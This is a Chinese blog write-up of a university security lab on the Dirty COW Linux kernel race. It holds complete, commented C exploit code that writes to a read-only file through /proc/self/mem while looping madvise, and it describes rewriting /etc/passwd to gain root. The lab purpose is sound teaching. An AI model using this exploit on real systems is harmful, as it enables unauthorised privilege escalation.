黑客往事

软件安全-Dirty-COW攻防

2018-06-01  本文已影响0人  ustc_sec

Dirty COW Attack Lab

存在于linux内核(2007年),被发现和利用于2016年
漏洞存在于内核的copy-on-write技术
通过这个漏洞,攻击者可以获得root权限
实验基于ubuntu12

Modify a Dummy Read-Only File

目标:使用Dirty COW漏洞对一个只读文件进行写操作

Create a Dummy File

Set Up the Memory Mapping Thread

#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>

void *map;
void *writeThread(void *arg);
void *madviseThread(void *arg);

int main(int argc, char *argv[])
{
  pthread_t pth1,pth2;
  struct stat st;
  int file_size;

  // Open the target file in the read-only mode.
  int f=open("/zzz", O_RDONLY);

  // Map the file to COW memory using MAP_PRIVATE.
  //将已经打开的文件描述符f的文件状态复制到&st指针指向的数据结构中
  fstat(f, &st);
  file_size = st.st_size;
  //mmap()将一个文件或对象映射进内存,成功返回被映射区的指针,失败时返回-1
  //参数1:映射区的开始地址,设置为0表示由系统决定
  //参数2:映射区的长度,单位是字节
  //参数3:期望的内存保护标志,不能与文件打开模式冲突
  //参数4:指定映射对象的类型,映射选项和映射页是否可以共享,MAP_PRIVATE不会影响原文件
  //参数5:有效的文件描述符
  //参数6:被映射对象的起点
  map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);

  // Find the position of the target area
  char *position = strstr(map, "222");                        

  // We have to do the attack using two threads.
  //pthread_create()创建线程,在线程创建后就开始运行相关的线程函数,成功返回0,失败返回-1
  //参数1:指向线程标识符的指针
  //参数2:设置线程属性
  //参数3:线程运行函数的起始地址
  //参数4:运行函数的参数
  pthread_create(&pth1, NULL, madviseThread, (void  *)file_size); 
  pthread_create(&pth2, NULL, writeThread, position);             

  // Wait for the threads to finish.
  //pthread_join()等待线程结束,成功返回0,失败返回错误号
  //参数1:线程标识符,就是线程ID
  //参数2:用户定义的指针,用来存储被等待线程的返回值
  pthread_join(pth1, NULL);
  pthread_join(pth2, NULL);
  return 0;
}

Set Up the write Thread

void *writeThread(void *arg)
{
  char *content= "***";
  off_t offset = (off_t) arg;

  int f=open("/proc/self/mem", O_RDWR);
  while(1) {
    // Move the file pointer to the corresponding position.
    //lseek()控制文件的读写位置
    //参数1:已经打开的文件描述符
    //参数2:偏移量
    //参数3:SEEK_SET将读写位置指向文件头后再增加offset个偏移
    lseek(f, offset, SEEK_SET);
    // Write to the memory.
    write(f, content, strlen(content));
  }
}

The madvise Thread

void *madviseThread(void *arg)
{
  int file_size = (int) arg;
  while(1){
      //madvise()建议内核如何处理一段地址范围的页面输入输出,成功返回0,失败返回-1
      //参数1:起始地址
      //参数2:地址长度
      //参数3:建议,MADV_DONTNEDD此范围内的页面在后续访问将会成功,但将导致从存储重新加载底层映射文件
      madvise(map, file_size, MADV_DONTNEED);
  }
}

Launch the Attack

Launch the Attack

Modify the password File to Gain the Root Privilege

同理,修改/etc/passwd文件,将用户gu-u12的uid gid由1000修改成0
当有用户test1切换到用户gu-u12的时候,将会看到gu-u12已经获得root权限

获得root权限
上一篇下一篇

猜你喜欢

热点阅读